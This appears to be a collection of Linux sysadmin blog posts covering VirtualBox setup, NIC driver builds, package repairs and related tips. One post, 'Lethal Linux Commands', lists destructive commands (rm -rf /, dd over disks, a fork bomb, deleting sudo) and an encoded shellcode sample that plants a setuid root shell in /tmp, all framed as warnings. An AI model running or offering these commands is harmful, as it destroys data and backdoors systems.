Infoblox IPAM on Virtual Box

So you want to run Infoblox’s Virtual Appliance on VirtualBox instead of VMWare player. In this blog post I will detail exactly what is required to get this to work, however I have to warn you, this is unsupported by Infoblox.
Requirement:

  1. Archlinux ISO (netboot image should be fine)
  2. Virtual BOX
  3. Infoblox IPAM vmware hard drive image

Now that is out of the way, lets start by creating the VM in Virtual Box.

Create a Linux 2.6 64bit Virtual machine and as hard drive, use the Infoblox IPAM virtual hard drive. Once it is created, the settings should look like this.

On the system tab, make sure selected chipset is ICH9 and tick IO APIC.

Next the storage section. You will notice I have a Archlinux ISO mounted.
Ensure you are using a SATA/AHCI controller for the virtual hard drive.

Final tab, network tab, you have to set it to the Intel Pro/1000 MT Server adapter.

Once all that is set, it will still not work. Now you have to use a Linux ISO image to boot up the VM to gain access to the hard drive. In this example I used Archlinux 2010.12 iso, you can use the net-install iso for the smallest download.

Once booted up with the Archlinux ISO, issue the following commands.

mount /dev/sda1 /mnt
nano /mnt/etc/modprobe.conf

Edit modprobe.conf as follow.

1. Remove or comment out “alias eth0 vmxnet”

2. Add “alias eth0 e1000″

The file should look like shown in the following image.

Save the file, and umount the filesystem, reboot on to the hard drive.

umount /dev/sda1
reboot

The VM will probably reboot twice, but after that it should start working.

Ubuntu Server 10.04.3 LTS and Ethernet controller: Intel Corporation Device 1502 (rev 04)

Got a new shiny Intel G840 2.8ghz to play with on a Intel Sandy Bridge motherboard and what do you know…onboard network card doesn’t work. After doing a bit of research I got it figured out with DKMS and working 100%. Posting the exact commands here to remind myself again in the future or anyone else running in to the same issue.

First install DKMS and the compiling requirements.

apt-get install dkms build-essential make linux-headers-generic

Download the e1001e driver and extract it.

cd /usr/src
wget http://tenet.dl.sourceforge.net/project/e1000/e1000e%20stable/1.6.2/e1000e-1.6.2.tar.gz
tar xzvf e1000e-1.6.2.tar.gz

Create the DKMS config file.

cd e1000e-1.6.2
nano dkms.conf

dkms.conf contents:

PACKAGE_NAME=”e1000e”
PACKAGE_VERSION=”1.6.2″
CLEAN=”make -C src/ clean”
MAKE=”make -C src/ BUILD_KERNEL=$kernelver KERNELDIR=/lib/modules/${kernelver}/build”
BUILT_MODULE_NAME[0]=”e1000e”
BUILT_MODULE_LOCATION=src/
DEST_MODULE_LOCATION[0]=”/updates”
AUTOINSTALL=”yes”
REMAKE_INITRD=yes

Last step, create the DKMS module.

dkms add -m e1000e -v 1.6.2
dkms build -m e1000e -v 1.6.2
dkms install -m e1000e -v 1.6.2

Now just do a reboot and the on-board network card should work.

CDP-Tools on CentOS

Sometimes you need CDP for reasons unknown to most on your Linux servers. This is just a quick howto to do this on CentOS, one of the most popular server distributions out there.

Step 1: Add Razor Edge’s repository.

rpm -Uvh http://rpm.razorsedge.org/centos-5/RE/razorsedge-release-4-1.el5.re.noarch.rpm

Step 2: Install CDP-Tools

yum install cdp-tools

How to update Ubuntu from FreeZone on a WebAfrica adsl account

Great question! I myself am on a 50gb Titan ADSL account from Web Africa, and while 50gb is A LOT, every bit of FreeZone traffic is still welcome. I already make use of their TeamSpeak 3 server to chat with friends, but keeping Ubuntu up to date from there is a good idea as well.

The Web Africa FTP ftp://ftp.wa.co.za is also part of FreeZone which many might not know.

Anyways to set it up is easy using the CLI.

Step1: Open a console and gain root access

sudo su -

Step2: Back up you current sources file.

cp /etc/apt/sources.list /etc/apt/sources.list.backup1

Step3: Open apt sources with nano

nano /etc/apt/sources.list

Step4: Replace all URLs.

This is done by issuing the following short cut: CTRL + \
( That is the control button and the backslash button )

What to replace:  http://za.archive.ubuntu.com/ubuntu/

What to replace it with: ftp://ftp.wa.co.za/pub/ubuntuarchive/

Step5: Update your system from FreeZone

apt-get update

apt-get upgrade

That is it!

OpenSUSE Permissions

Certain commands require the use of the super user to run them, however at times there are those commands that won’t cause security concerns when used as a normal user. For me these are “tcptraceroute” and “mtr”.

So to help me use them on my normal user, I either need to add my user to the group dialout, or in my case using Active Directory I can’t add my user to that group. There is a alternative.

Add the following lines to: /etc/permissions.local

/usr/sbin/mtr             root:dialout    4755
/usr/bin/tcptraceroute       root:root       4755

Lethal Linux Commands

In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :( ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

Source: http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/

Recovering from a half finish YUM operation

The other day I was doing updates on a CentOS 5.x 64bit server when yum failed halfway through leaving me with multiple versions of the same package installed ect. The problem was the RPM database became corrupted which needed a repair. This I did with the help of a co-worker who figured out the following commands can help:

mkdir rpmdb
cp /var/lib/rpm/__db* rpmdb/
rm /var/lib/rpm/__db*
rm: remove regular empty file `/var/lib/rpm/__db.000′? y
rm: remove regular file `/var/lib/rpm/__db.001′? y
rm: remove regular file `/var/lib/rpm/__db.002′? y
rm: remove regular file `/var/lib/rpm/__db.003′? y
rpm –rebuilddb

After that, to clean up the packages I installed the package “yum-utils” and executed the command

yum-complete-transaction

Other useful commands when you have problems:

yum clean metadata
yum clean all

Package psa-tomcat-configurator needs mod_jk, this is not available.

This happens when you do a ‘yum update’ on a Centos 5 server with Plesk 8.x installed. The problem is that this module was removed as a package and by default now part of the new apache package.

The work around is to download 2 files from ftp://download1.parallels.net/Plesk/Autoupdate/Unix/8.6.0/147424/

RPM 1: ftp://download1.parallels.net/Plesk/Autoupdate/Unix/8.6.0/147424/tomcat-configurator/centos5/psa-tomcat-configurator-9.0.0-cos5.build90081117.17.noarch.rpm
RPM 2: ftp://download1.parallels.net/Plesk/Autoupdate/Unix/8.6.0/147424/mod_jk/x86_64/psa-mod_jk-1.2.15-6.98092.x86_64.rpm

Download them to a seperate folder and install via:
rpm -Uvh *

Once this is done you should be able to do a normal “yum update”

Wine – making sure applications run smoothly on 64bit systems

Usually people on 64bit Linux have more problems getting Windows applications to run via wine. Here is a list of software that could help prevent many of these:

  • 32bit libgphoto2.so.2 – Allow applications access to digital cameras
  • 32bit libhal.so.1 – Allow applications to detect CD-ROM/USB-key insertion
  • 32bit libjpeg.so.62 – Allow applications to use JPEG images – lack of this may cause black icons
  • 32bit libsane.sp.1 – Scanner support